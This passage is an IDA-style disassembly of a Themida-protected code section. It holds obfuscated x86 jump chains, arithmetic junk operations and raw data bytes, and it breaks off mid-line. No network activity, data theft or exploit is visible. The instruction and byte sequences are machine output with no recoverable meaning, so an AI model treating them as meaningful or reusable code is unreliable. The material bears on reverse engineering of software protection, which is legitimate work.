Themida_:0050EC1Bj add edx, eax pop eax add edx, 4 jmp loc_51C9B7 ; --------------------------------------------------------------------------- loc_518CB5: ; CODE XREF: Themida_:0050C75Cj add edi, ecx pop ecx sub edi, 4 push 4534h mov [esp], edi jmp loc_514951 ; --------------------------------------------------------------------------- dd 0C381CB01h, 15B00E6Bh, 241C8759h, 3324248Bh, 34312434h dd 24343324h, 6624248Bh, 0E99CC83Bh, 0FFFF28F9h ; --------------------------------------------------------------------------- loc_518CEC: ; CODE XREF: Themida_:00515A1Ej mov ecx, 277F2CC9h jmp loc_511077 ; --------------------------------------------------------------------------- dw 1C8Bh dd 26E95324h, 56FFFF56h, 0D2E9E689h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_518D07: ; CODE XREF: Themida_:00513566j push 785Ah mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_520F70 ; --------------------------------------------------------------------------- loc_518D22: ; CODE XREF: Themida_:0050F03Aj or eax, 300035D1h jmp loc_51FFD1 ; --------------------------------------------------------------------------- loc_518D2C: ; CODE XREF: Themida_:005140AAj mov edx, [esp] add esp, 4 jmp loc_50EE22 ; --------------------------------------------------------------------------- loc_518D37: ; CODE XREF: Themida_:0051CBDCj inc ebx not ebx shr ebx, 5 shr ebx, 7 add ebx, 3DAD76A0h jmp loc_51E11D ; --------------------------------------------------------------------------- db 81h dd 0C46711E1h, 0E981410Bh, 10270FBEh, 0F147F181h, 5EE9EFD8h db 4Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_518D63: ; CODE XREF: Themida_:0051A946j push ebx mov ebx, 4 add eax, 27BF21DFh sub eax, 436E2DA9h add eax, ebx push 4DF3h mov [esp], ecx mov ecx, 436E2DA9h add eax, ecx jmp loc_515814 ; --------------------------------------------------------------------------- db 0BBh, 16h, 4Fh dd 0C381239Bh, 183BC478h, 565BD829h, 19065E68h, 0B9E95E1Bh db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_518DA3: ; CODE XREF: Themida_:00513E37j xor edx, 67C2496Ah shl edx, 7 neg edx inc edx xor edx, 66AA4E6Ah xor ecx, edx pop edx push ebx mov ebx, ecx jmp loc_5118D0 ; --------------------------------------------------------------------------- dd 1EE81h, 0D6F70000h, 43EDF681h, 0F1294938h, 0FF31D2E9h dd 4EC81FFh, 89000000h, 5350240Ch, 64B02EB7h, 245BF830h dd 0A33E94Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_518DEE: ; CODE XREF: Themida_:00518A11j mov ebx, [esp] add esp, 4 or eax, eax jz loc_51B6EF push dword ptr [edi+28h] sub esp, 4 mov [esp], ecx mov ecx, 6E8A4124h jmp loc_519AFF ; --------------------------------------------------------------------------- loc_518E0F: ; CODE XREF: Themida_:00517F2Dj mov eax, [esp] add esp, 4 push 1DCFh mov [esp], ecx mov ecx, 17B43CADh dec ecx xor ecx, 3FEC2722h xor ecx, 75031C96h jmp loc_516D39 ; --------------------------------------------------------------------------- loc_518E37: ; CODE XREF: Themida_:0050E8E4j sub edx, 1DB62BD4h sub edx, 810B3300h add ebx, edx pop edx add edi, ebx pop ebx sub esp, 4 jmp loc_51C55B ; --------------------------------------------------------------------------- aVsf db 'Vf[',0 dw 5E00h dd 4C481h, 0C4810000h, 4, 6407E9h, 0EA815A00h, 4A1D1D9Ah dd 4987C681h, 0C6815923h, 6608195Ch, 0EE81D601h, 6608195Ch dd 4987EE81h, 555A5923h, 2BDh, 0B137E900h, 0D0F7FFFFh dd 5FD1782Dh, 58C23151h, 0E95AD789h, 0FFFF5114h ; --------------------------------------------------------------------------- loc_518EA8: ; CODE XREF: Themida_:00513492j xchg edi, [esp] pop esp xor ch, 1 push 2539h mov [esp], eax mov al, 77h jmp loc_50C267 ; --------------------------------------------------------------------------- dw 1429h dd 24148B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_520B04 ; --------------------------------------------------------------------------- loc_518ECC: ; CODE XREF: Themida_:0051FC31j sub esp, 4 jmp loc_50BC69 ; --------------------------------------------------------------------------- dd 4EA81h, 14870000h, 5EE95C24h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_518EE3: ; CODE XREF: Themida_:0051AB24j xor esi, [esp] pop esp push ecx jmp loc_50D9D7 ; --------------------------------------------------------------------------- loc_518EED: ; CODE XREF: Themida_:00516348j xor edx, [esp] pop esp pop eax and eax, ecx push dword ptr [esp] pop ecx add esp, 4 or edx, eax shl edx, 1 push 31F9h mov [esp], ebx mov ebx, 0FFFFFFFFh sub [edi+24h], ebx push dword ptr [esp] pop ebx jmp loc_51564E ; --------------------------------------------------------------------------- dd 0C380CB28h, 5A59662Bh, 0FF4D13E9h db 0FFh ; --------------------------------------------------------------------------- loc_518F25: ; CODE XREF: Themida_:00512717j or eax, 2A7D7CA6h push ecx push ebp mov ebp, 0FFFFFFFFh mov ecx, ebp pop ebp add eax, ecx pop ecx add eax, 9000801Ch mov ecx, eax jmp loc_511F10 ; --------------------------------------------------------------------------- aYs_0 db 'Y;',0 db 0 ; --------------------------------------------------------------------------- loc_518F49: ; CODE XREF: Themida_:0051445Cj mov ebp, [esp] add esp, 4 mov [edi+24h], ecx jmp loc_515A5C ; --------------------------------------------------------------------------- a3FS2 db '3<$\f$$2',0 align 4 dd 7D8BBD55h, 39BB0F71h, 2929D4D0h, 8FE95DEBh db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_518F7B: ; CODE XREF: Themida_:005108A4j push 7676h mov [esp], edx push eax jmp loc_50E221 ; --------------------------------------------------------------------------- db 0BBh, 22h, 9Eh dd 0D301EC36h, 0FFE1F0E9h, 240489FFh, 4BD55h, 0E8890000h dd 2E05E95Dh, 0C6800000h, 1C680BCh, 0F7885366h, 0FE88D7F6h dd 53665B66h, 0FE284FB7h, 73E95B66h, 59FFFF58h, 215BB53h dd 0B1E9549Ah db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_518FCF: ; CODE XREF: Themida_:0050C047j mov [esp], ecx jmp loc_51F64A ; --------------------------------------------------------------------------- db 81h dd 2D371CEAh, 8BD33129h, 0C4832414h, 0C5E95504h, 57FFFFB4h dd 9B2410BFh, 0E5DAE9E8h, 0D1F7FFFFh, 0C2B4F181h, 0C281D824h dd 591243EFh, 0FF907CE9h, 1275BAFFh, 0CAE92BC2h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_519013: ; CODE XREF: Themida_:0050E556j sub eax, 13A5BA55h push eax jmp loc_51BB96 ; --------------------------------------------------------------------------- dw 5355h dd 114FBEBBh, 5864BD7Ah, 0DD29EF79h, 664DE9h, 0D1D9F700h dd 67F181E9h, 8173080Dh, 0A9113BEAh, 55EA815Ch, 293E7A39h dd 55C281CAh, 813E7A39h, 0A9113BC2h, 86DFE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51905A: ; CODE XREF: Themida_:00513775j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov ebx, edi pop edi add [edi+24h], ebx pop ebx loc_519074: ; CODE XREF: Themida_:0051A493j push 5CCDh mov [esp], ebx push ebp mov ebp, 1BD869F8h sub dword ptr [esp+4], 3A742A79h sub [esp+4], ebp add dword ptr [esp+4], 3A742A79h pop ebp mov eax, [esp] add esp, 4 push 512h mov [esp], ecx mov ecx, 35EC2548h push edi jmp loc_517D4B ; --------------------------------------------------------------------------- db 8Bh dd 0F662424h, 9C2404ABh, 0FF2524E9h, 4C681FFh, 0E9000000h dd 0FFFFA881h, 1BA36852h, 815A1EB0h, 40083EC2h, 27ED8112h dd 131E176h, 27C581D5h, 8B31E176h, 0C4812414h, 4, 83243C8Bh dd 0BA5204C4h, 0CB448A8h, 0C4E9D101h, 0BDFFFFA6h, 43BA4E1Dh dd 4246C31h, 0E950595Dh, 0FFFF65AFh ; --------------------------------------------------------------------------- loc_519114: ; CODE XREF: Themida_:0050E79Dj sub esp, 4 mov [esp], ecx mov ecx, 4 jmp loc_512FA9 ; --------------------------------------------------------------------------- dd 0B6241489h, 516653F6h, 1E03E9h, 74FF5200h, 8F5A0424h dd 248B2404h, 240C8924h, 790668h, 48F5400h, 32E95724h dd 5EFFFF8Eh, 0F878E605h, 2DD80161h, 61F878E6h, 1CB2D5Bh dd 0F80155CAh, 1CBBB53h, 9E955CAh db 42h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51916F: ; CODE XREF: Themida_:0051C9FBj mov ebp, 3FCD27DCh mov eax, ebp jmp loc_511FFA ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4C68100h, 68000000h, 3291h, 0FFAD4FE9h, 81E389FFh dd 4C3h, 0EC835500h, 241C8904h, 2A2E9BBBh, 8B5D5303h, 0ACE9241Ch dd 83FFFF95h, 343302EEh, 97C4E924h, 0CB01FFFFh, 9315E959h dd 159FFFFh, 3BC781CFh, 597CF33Fh, 0BE56CF01h, 28A03776h dd 7C69EE81h, 0F5E96B6Eh, 56FFFF89h, 42474FFh, 24048F5Eh dd 8924248Bh, 0B951242Ch, 28114C6Bh, 6AC6BB53h, 0DD8989A6h dd 81241C8Bh, 4C4h, 0E9CD2900h, 0FFFFBD66h, 4C481h, 79050000h dd 296FCC41h, 41792DD0h, 525A6FCCh, 0FFE9C9E9h, 405FFh dd 0E8830000h, 24048704h, 242C895Ch, 4EC81h, 34890000h dd 815E5424h, 4C6h, 91E95100h, 21FFFFB1h, 0E9505EF3h, 0FFFF54B1h dd 519FEF81h, 0EF813A3Fh, 0FFFFFFFFh, 0FFC053E9h db 0FFh ; --------------------------------------------------------------------------- loc_519265: ; CODE XREF: Themida_:0051F0A0j xor esi, 324D5673h jmp loc_510BB2 ; --------------------------------------------------------------------------- loc_519270: ; CODE XREF: Themida_:0051B145j mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_50BC16 ; --------------------------------------------------------------------------- db 81h dd 268270F5h, 0FFE83148h, 815D2434h, 4C4h, 0FFC33100h dd 234BE930h, 0E289FFFFh, 4C281h, 0C2810000h, 4, 4B0F68h dd 24148900h, 42474FFh, 44FBE95Ah, 8956FFFFh, 4C681E6h dd 81000000h, 4C6h, 0F2B4E900h, 295EFFFFh, 5304246Ch, 6220E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5192DA: ; CODE XREF: Themida_:0050EC51j push edx mov edx, 75F0232Ch sub esi, edx push dword ptr [esp] pop edx add esp, 4 and ecx, esi jmp loc_51A7BE ; --------------------------------------------------------------------------- db 0BBh dd 7CE277BCh, 29BBA52h, 0FEE9283Eh, 31000027h, 0DD43E9F2h dd 182CFFFFh, 0E953E800h, 0FFFF50CEh, 0BCE9ABB7h, 5A00004Eh dd 8B24048Fh, 89662424h, 0BAE92404h db 22h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51932B: ; CODE XREF: Themida_:00520504j add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] push edi jmp loc_512960 ; --------------------------------------------------------------------------- dw 0BC68h dd 8900002Eh, 2B82404h, 1000000h, 1DE958C5h, 0FF000016h dd 0C8B2434h, 3681E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51935A: ; CODE XREF: Themida_:0051DBF2j push dword ptr [esp] mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_51F168 ; --------------------------------------------------------------------------- loc_519377: ; CODE XREF: Themida_:005149A8j push edi jmp loc_5130E5 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 1AFAE9h, 4C38300h, 0FF4156E9h, 24048FFFh, 24143151h dd 31241433h, 39E92414h, 5AFFFF97h, 4FE9D829h, 29FFFFF9h dd 49E95EF7h, 89000064h, 0E9572404h, 0FFFF5BDEh ; --------------------------------------------------------------------------- loc_5193B8: ; CODE XREF: Themida_:0051BF8Fj add esp, 4 jmp loc_516451 ; --------------------------------------------------------------------------- db 8Bh dd 17E92424h, 4FFFFB3h, 0E9D004AAh, 0FFFF2C80h ; --------------------------------------------------------------------------- loc_5193D4: ; CODE XREF: Themida_:00511A92j xchg edx, [esp] pop esp sub esp, 4 mov [esp], ebx jmp loc_520F7E ; --------------------------------------------------------------------------- loc_5193E3: ; CODE XREF: Themida_:0050F6BEj push 0EA7h mov [esp], ecx mov ecx, 0FEADF3D4h add eax, ecx push dword ptr [esp] jmp loc_518700 ; --------------------------------------------------------------------------- dw 8159h dd 0DD011CC7h, 81C70133h, 0DD011CEFh, 2434FF33h, 5F545758h dd 4C781h, 0EC810000h, 4, 0B8240489h, 4, 48BC701h, 26C1E924h dd 0C281FFFFh, 4, 6B3DE9h, 3F42BF00h, 0C2B81A5Ah, 1E5A5C0h dd 58F8E9F8h, 0FD00FFFFh, 8BD3C580h, 0C483241Ch, 66E83004h dd 81240C8Bh, 2C4h, 27B45000h, 5158E300h, 0F5801AB5h, 50BFE91Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_519472: ; CODE XREF: Themida_:00514779j mov edi, 7F2A6318h neg edi jmp loc_50D611 ; --------------------------------------------------------------------------- dw 0EF80h dd 24048B2Eh, 0FFC2F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_519489: ; CODE XREF: Themida_:0051EBB4j sub ebp, 744D4F8Fh push dword ptr [esp] pop eax push 43BFh mov [esp], edi jmp loc_51AA43 ; --------------------------------------------------------------------------- dd 24048B66h, 0FFCC86E9h, 48B66FFh, 0EB685524h, 5400003Fh dd 0FFAE80E9h db 0FFh ; --------------------------------------------------------------------------- loc_5194B9: ; CODE XREF: Themida_:0051C797j sub esi, 26547B18h sub esi, 181327B4h pop ebx xor esi, [esp] jmp loc_520102 ; --------------------------------------------------------------------------- dw 1489h dd 2474FF24h, 48F5A04h, 6D92E924h, 2E9FFFFh, 80FFFF21h dd 0E828AAF5h, 0E9F82859h, 278Eh ; --------------------------------------------------------------------------- loc_5194F0: ; CODE XREF: Themida_:0050C3EBj add eax, edi sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_514DB9 ; --------------------------------------------------------------------------- loc_5194FF: ; CODE XREF: Themida_:00518BF0j shl edx, 7 xor edx, 762A5F1Eh jmp loc_51DBB8 ; --------------------------------------------------------------------------- aRIQsbsi8 db '[R QsB8',0 align 2 aSf_ db '[f.',0 align 10h dd 4EC835Fh, 0E9241489h, 0FFFFA10Dh, 405h, 24048700h, 20ABE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51953A: ; CODE XREF: Themida_:0052083Cj add ecx, 1B96A607h add ebx, ecx pop ecx add ebx, 4 xor ebx, [esp] jmp loc_50CAFF ; --------------------------------------------------------------------------- loc_51954E: ; CODE XREF: Themida_:0051F8FEj sub cl, 0AAh pop ebx or cl, 5Dh sub esp, 2 mov [esp], bx jmp loc_50CE9D ; --------------------------------------------------------------------------- loc_519564: ; CODE XREF: Themida_:00520C1Bj jmp loc_50B5E5 ; --------------------------------------------------------------------------- loc_519569: ; CODE XREF: Themida_:0051EDCDj push ebp jmp loc_51A24D ; --------------------------------------------------------------------------- db 59h dd 815E5456h, 4C6h, 4C68300h, 0FF7289E9h, 35B850FFh, 0B933127Fh dd 31F644E8h, 0BD58C131h, 61272422h, 6E38C581h, 0C5816DBBh dd 15AC2ACCh, 3ED2C581h, 0CD011E63h, 3ED2ED81h, 0ED811E63h dd 15AC2ACCh, 4E48BB53h, 814B4AFFh, 0BC1FF1C3h, 5BDD2922h dd 0BE564559h, 4DC94488h, 0F681D6F7h, 5DB817CEh, 8E9DEF7h dd 66FFFFEEh, 56240C8Bh, 0FFF71AE9h, 0E94840FFh, 374Ah dd 68C8B70Fh, 1CDAh, 520DE9h, 24248B00h, 0F66E1F6h, 6866CCB6h dd 9BE935E9h, 89FFFFCDh, 88B62414h, 0F620E680h, 7E8CE9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51961A: ; CODE XREF: Themida_:00515D86j add ebp, 4 jmp loc_5131B1 ; --------------------------------------------------------------------------- db 0C1h, 0E7h, 3 dd 8E95F781h, 0FE89D53Ah, 3481565Fh, 1243A124h, 241C8B73h dd 0E904C483h, 0FFFF9040h ; --------------------------------------------------------------------------- loc_519644: ; CODE XREF: Themida_:005182EAj mov esi, [esp] add esp, 4 add ebp, edx pop edx pop edx push ebp jmp loc_50CC20 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 74BB5300h, 0C128E70Ch, 0B5E906E3h, 8FFFF93h, 2434FFEEh dd 6557E959h, 0BF570000h, 1B297191h, 0FFC562E9h db 0FFh ; --------------------------------------------------------------------------- loc_519681: ; CODE XREF: Themida_:0051B696j pop esp mov [esp], ecx jmp loc_50CEBD ; --------------------------------------------------------------------------- loc_51968A: ; CODE XREF: Themida_:00511ED5j mov edi, 4B091ABCh and edi, 2B625097h jmp loc_5104BE ; --------------------------------------------------------------------------- dw 8953h dd 45B1E9E3h, 5B58FFFFh, 242C8B50h, 4C481h, 48B0000h, 0E6895624h dd 4C681h, 0C6830000h, 24348704h, 0E2BF575Ch, 0E92ED378h dd 0FFFF3AE2h ; --------------------------------------------------------------------------- loc_5196CC: ; CODE XREF: Themida_:0051C061j mov edi, 13CB20EEh push edi xor dword ptr [esp], 68484AFAh pop ebx xor ebx, 68484AFAh pop edi shl ebx, 4 jmp loc_512CBF ; --------------------------------------------------------------------------- db 81h, 0C5h, 0FDh dd 500DF05Ah, 0CF56C5B8h, 8BC5295Fh, 90E92404h, 89FFFF37h dd 0B2E92404h, 81000054h, 940547F3h, 0C1DBF769h, 0BD5504E3h dd 61AF2DE1h, 9A7C581h, 0ED817FE7h, 3F33799Ch, 7202CD81h dd 70E97142h, 0B800006Ah, 20FF37D8h, 2C1AB50Dh, 7D422D58h dd 0AB2D1505h, 891FB25Dh, 0E90958C5h, 78F0E9h, 0E9FB0100h dd 0FFFFE446h ; --------------------------------------------------------------------------- loc_519754: ; CODE XREF: Themida_:0050DE46j mov ebx, 27082566h sub edx, ebx pop ebx xor edx, edi jmp loc_50D635 ; --------------------------------------------------------------------------- loc_519763: ; CODE XREF: Themida_:005199ADj add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 4FD803A3h neg ebx jmp loc_51B6BA ; --------------------------------------------------------------------------- dd 5D8F740h, 386241E8h, 0FFE7ADE9h, 56CE89FFh, 0F162E95Dh dd 0C15AFFFFh, 0D68703E6h, 0FF8501E9h, 0C8B66FFh, 4EC8124h dd 89000000h, 58542404h, 8904EC83h, 4168243Ch, 5F383143h dd 4C56BD55h, 0EF210505h, 0FF552BE9h, 0FFF801FFh, 835F2434h dd 0C20104C4h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_50BDFF ; --------------------------------------------------------------------------- db 0C1h dd 0BB5304E5h, 73443A11h, 1ED4E9h, 0C4815900h, 4, 2BE56h dd 0EB810000h, 873E57h, 395EE9h, 5E4BE00h, 0F0017C16h dd 8124348Bh, 4C4h, 56D82900h, 0FFD219E9h, 0B1662CFFh dd 58C100D3h, 0FF6A02E9h, 633FBFFFh, 0D7F723B5h, 0A381E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51983A: ; CODE XREF: Themida_:0051DFB2j sub esp, 4 mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx pop ebx jmp loc_50C6DB ; --------------------------------------------------------------------------- dd 582434FFh, 0FF1F49E9h, 48B66FFh, 2053E924h, 0C380FFFFh dd 0E9CBFEABh, 0FFFF577Ah, 0E90EB3h, 53FFFF4Bh, 0FFFE29E9h dd 0AC2968FFh, 565D6E36h, 0EF3C90BEh, 2EEC14Bh, 7C0BC681h dd 0C68166F0h, 0D9B5E2Ch, 8BADEE81h, 0F5013848h, 653BE9h dd 0E0895000h, 405h, 40500h, 4870000h, 7A43E924h, 5196FFFFh dd 0C7DD3DB9h, 59CE31F5h, 34FFF029h, 24E95E24h db 39h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5198CB: ; CODE XREF: Themida_:00520A9Cj add edx, 543F3FF5h sub edx, 209B21E4h add edx, edi add edx, 209B21E4h sub edx, 543F3FF5h add edx, 1C7D0439h push esi mov esi, eax mov [edx], esi pop esi mov edx, [esp] add esp, 4 jmp loc_51209A ; --------------------------------------------------------------------------- loc_5198FC: ; CODE XREF: Themida_:0050E82Aj add ecx, 4 jmp loc_511DAB ; --------------------------------------------------------------------------- loc_519904: ; CODE XREF: Themida_:00514692j xor edi, ebp push dword ptr [esp] jmp loc_51F057 ; --------------------------------------------------------------------------- dw 0E829h dd 6857525Dh, 24DA5A30h, 8BFA895Fh, 0E9E9243Ch db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_519923: ; CODE XREF: Themida_:0050F45Aj pop ebx jmp loc_50B748 ; --------------------------------------------------------------------------- aRNYeiZbJXsgu db 'RnYZj#Xgu',0 db 0 ; --------------------------------------------------------------------------- loc_51993D: ; CODE XREF: Themida_:00511291j sub esi, 49E25A11h sub esi, 232A00A2h add esi, 50195572h sub esp, 4 mov [esp], edi mov edi, 5DC44113h push ebp jmp loc_511371 ; --------------------------------------------------------------------------- loc_519960: ; CODE XREF: Themida_:00519C10j add ecx, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, 4 add ecx, edi pop edi xchg ecx, [esp] pop esp push 4606h jmp loc_51F29D ; --------------------------------------------------------------------------- db 51h dd 5166E0B5h, 12444FEh, 0C5805966h, 0E9D5F6FFh, 4E1Eh dd 240C8B66h, 4EC8355h, 0FF4849E9h db 0FFh ; --------------------------------------------------------------------------- loc_5199A9: ; CODE XREF: Themida_:0051ED69j pop esp mov esi, [esp] jmp loc_519763 ; --------------------------------------------------------------------------- loc_5199B2: ; CODE XREF: Themida_:0051609Cj add eax, 0A12FE6AAh mov ecx, eax jmp loc_5166EF ; --------------------------------------------------------------------------- loc_5199BE: ; CODE XREF: Themida_:0050BC64j inc ecx xor ecx, 84B5E803h add ebp, ecx pop ecx jmp loc_51CFC4 ; --------------------------------------------------------------------------- loc_5199CD: ; CODE XREF: Themida_:0050C7A8j push eax mov eax, 4CF50513h dec eax not eax or eax, 1B413998h not eax sub eax, 0E8119382h and eax, 58036DBFh shr eax, 1 jmp loc_50EA98 ; --------------------------------------------------------------------------- dw 0BF57h dd 0B590CCDAh, 3C8BF829h, 4C48124h, 29000000h, 4AE958C3h dd 0C1000002h, 0C68106EEh, 3BF11D7Ah, 210EE81h, 0EE813013h dd 0EB47D912h, 0FFCACFE9h, 4C481FFh, 2D000000h, 484332AFh dd 0EC6DF82Dh, 5F80151h, 51EC6DF8h, 4332AF05h, 4875F48h dd 24248B24h, 0FF5788E9h, 48B66FFh, 3CE95724h, 8FFFFABh dd 0E873E9EFh, 8B66FFFFh db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi mov esi, esp jmp loc_51E1B1 ; --------------------------------------------------------------------------- loc_519A7B: ; CODE XREF: Themida_:00513255j add ecx, 1F6D3F6Fh jmp loc_51D648 ; --------------------------------------------------------------------------- dw 0BB53h dd 4, 1C8BD929h, 4C48124h, 0E9000000h, 600Ch, 124248Bh dd 704E9FDh, 8B660000h, 0E7E9240Ch, 68FFFF51h, 310Dh, 261E9h dd 8EAC100h, 3821BE56h, 0E6C168F0h, 5E90E903h, 0E9500000h dd 0FFFF4D5Fh, 6B1C581h, 0E5816814h, 15854A12h, 5D3AC581h dd 0E9015401h, 90C1815Dh, 1EC2FC0h, 696DE9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_519AF2: ; CODE XREF: Themida_:00513393j xor edx, 93E5992Ch sub eax, edx jmp loc_511807 ; --------------------------------------------------------------------------- loc_519AFF: ; CODE XREF: Themida_:00518E0Aj neg ecx jmp loc_513300 ; --------------------------------------------------------------------------- aV4dsM db 'V%:4dm',0 dd 9BBD5500h, 555A517Dh, 5D2414F7h, 8EF58145h, 0E94CDE42h dd 0FFFF57E2h ; --------------------------------------------------------------------------- loc_519B28: ; CODE XREF: Themida_:0050B711j add eax, ecx pop ecx add edx, eax jmp loc_51A51A ; --------------------------------------------------------------------------- loc_519B32: ; CODE XREF: Themida_:00514E2Dj pop esi push ebx jmp loc_5153CD ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 0CAE95E04h db 26h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_519B43: ; CODE XREF: Themida_:0051ECE8j mov ebp, 5892080Fh jmp loc_518C7F ; --------------------------------------------------------------------------- db 0BBh, 0FEh, 0B9h dd 0D801FD87h, 0EED815Bh, 812DB253h, 4627DCC5h, 81C5011Ah dd 4627DCEDh, 0B850571Ah, 629D2F3Ch, 0D8F7D0F7h, 5A14522Dh dd 0FFFF0512h, 0E8C1FFFFh, 0A654E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_519B86: ; CODE XREF: Themida_:00511853j xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_50DEEC ; --------------------------------------------------------------------------- dd 9D1C77FFh, 1CD35966h, 42E99C24h db 1Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_519BA3: ; CODE XREF: Themida_:0051F885j push ebp add dword ptr [esp], 1EB34039h mov ecx, [esp] add esp, 4 sub ecx, 1EB34039h mov ebp, [esp] add esp, 4 jmp loc_5100FE ; --------------------------------------------------------------------------- db 81h, 0F7h, 47h dd 0F702AD7Fh, 3E7C1DFh, 6281E9h, 7F00BA00h, 0E2C10CDDh dd 81D2F706h, 0A03FFBF2h, 0FFD301C8h, 835A2434h, 0D8E904C4h dd 5AFFFFAAh, 0FFDCFCE9h, 0A8E981FFh, 0E9688E56h, 0FFFFCB58h dd 0A78FEA81h, 2EE955C2h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_519C0F: ; CODE XREF: Themida_:00514FF2j pop ecx jmp loc_519960 ; --------------------------------------------------------------------------- loc_519C15: ; CODE XREF: Themida_:00511C52j xor ebx, [esp] jmp loc_511E51 ; --------------------------------------------------------------------------- loc_519C1D: ; CODE XREF: Themida_:0051AEA8j pop eax add esp, 4 sub eax, ebx push dword ptr [esp] mov ebx, [esp] jmp loc_513DDF ; --------------------------------------------------------------------------- loc_519C2E: ; CODE XREF: Themida_:0050D6B5j shr ecx, 0Ah jmp loc_516CDE ; --------------------------------------------------------------------------- loc_519C36: ; CODE XREF: Themida_:0051C2A4j pop dword ptr [esp] jmp loc_50D3B0 ; --------------------------------------------------------------------------- dw 0EE81h dd 0F777D9F7h, 0FFD479E9h, 0D6875AFFh, 0FFCA6EE9h, 4C381FFh dd 0E951ED7Dh, 0FFFF2F24h ; --------------------------------------------------------------------------- loc_519C5C: ; CODE XREF: Themida_:0051B563j pop dword ptr [esp] pop esp push 601Bh mov [esp], ecx push esp pop ecx push ebx jmp loc_5188BD ; --------------------------------------------------------------------------- loc_519C70: ; CODE XREF: Themida_:0050FA5Dj mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_5110A4 ; --------------------------------------------------------------------------- loc_519C86: ; CODE XREF: Themida_:0051B3B2j xor esi, 0D14136Bh sub edi, esi pop esi pop edx sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_50E55B ; --------------------------------------------------------------------------- loc_519CA4: ; CODE XREF: Themida_:00510FAAj push 6760h mov [esp], edi jmp loc_51C2E1 ; --------------------------------------------------------------------------- loc_519CB1: ; CODE XREF: Themida_:0051144Bj mov eax, [esp] add esp, 4 sub ecx, ebx pop ebx sub [edi+24h], ecx push dword ptr [esp] jmp loc_50FF42 ; --------------------------------------------------------------------------- loc_519CC5: ; CODE XREF: Themida_:0050B89Ej sub bl, cl pop ecx sub bl, 0C8h add bl, 0B0h jmp loc_513A40 ; --------------------------------------------------------------------------- db 0FFh dd 35E92434h, 49FFFF77h, 4488E181h, 81494D6Ah, 0D1933FE9h dd 0E9CB8993h, 5053h, 9C240431h, 1F94E9h db 0 ; --------------------------------------------------------------------------- loc_519CF9: ; CODE XREF: Themida_:005156EDj add dword ptr [esp+4], 8777D24h add [esp+4], edi sub dword ptr [esp+4], 8777D24h add dword ptr [esp+4], 14830130h jmp loc_51CCFE ; --------------------------------------------------------------------------- dw 1C89h dd 2474FF24h, 241C8B04h, 8F04C483h, 0D25C2404h, 0E99C243Ch dd 0FFFF18B1h, 6EE9412Ch, 8B000025h, 0C481241Ch, 4, 0B905E981h dd 0C8891868h, 81240C8Bh, 4C4h, 5021E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_519D5A: ; CODE XREF: Themida_:005119F2j pop ebp add ebx, 4 xchg ebx, [esp] jmp loc_51E892 ; --------------------------------------------------------------------------- loc_519D66: ; CODE XREF: Themida_:0051511Cj sub esp, 4 mov [esp], edi mov edi, edx mov ecx, edi mov edi, [esp] push eax jmp loc_50EC01 ; --------------------------------------------------------------------------- dd 87E9EE01h, 5200000Fh, 3DE0E957h, 0C8010000h, 5997E9h db 0 ; --------------------------------------------------------------------------- loc_519D91: ; CODE XREF: Themida_:0051CFCFj mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx jmp loc_513B16 ; --------------------------------------------------------------------------- loc_519DAB: ; CODE XREF: Themida_:0051FB66j mov esi, 1 and eax, esi mov esi, [esp] jmp loc_50ED14 ; --------------------------------------------------------------------------- dw 3433h dd 0CC53E924h, 8B66FFFFh, 54512404h, 0E92434FFh, 6D2Ch ; --------------------------------------------------------------------------- loc_519DD0: ; CODE XREF: Themida_:00520E9Fj push edi pop ebp jmp loc_5141CE ; --------------------------------------------------------------------------- loc_519DD7: ; CODE XREF: 